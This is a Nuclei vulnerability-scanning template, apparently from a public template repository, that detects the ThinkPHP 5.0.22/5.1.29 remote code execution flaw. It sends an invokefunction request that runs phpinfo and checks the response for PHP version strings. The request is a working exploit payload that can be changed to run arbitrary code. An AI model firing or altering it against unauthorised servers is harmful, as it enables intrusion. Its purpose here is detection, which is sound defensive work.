nuclei-templates/vulnerabilities/thinkphp/thinkphp-5022-rce.yaml

28 lines
765 B
YAML

id: thinkphp-5022-rce
info:
name: ThinkPHP 5.0.22 RCE
author: dr_set
severity: critical
description: Thinkphp5 5.0.22/5.1.29 Remote Code Execution if the website doesn't have mandatory routing enabled (which is default).
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5-rce
tags: thinkphp,rce
requests:
- method: GET
path:
- "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "ThinkPHP"
condition: and
- type: status
status:
- 200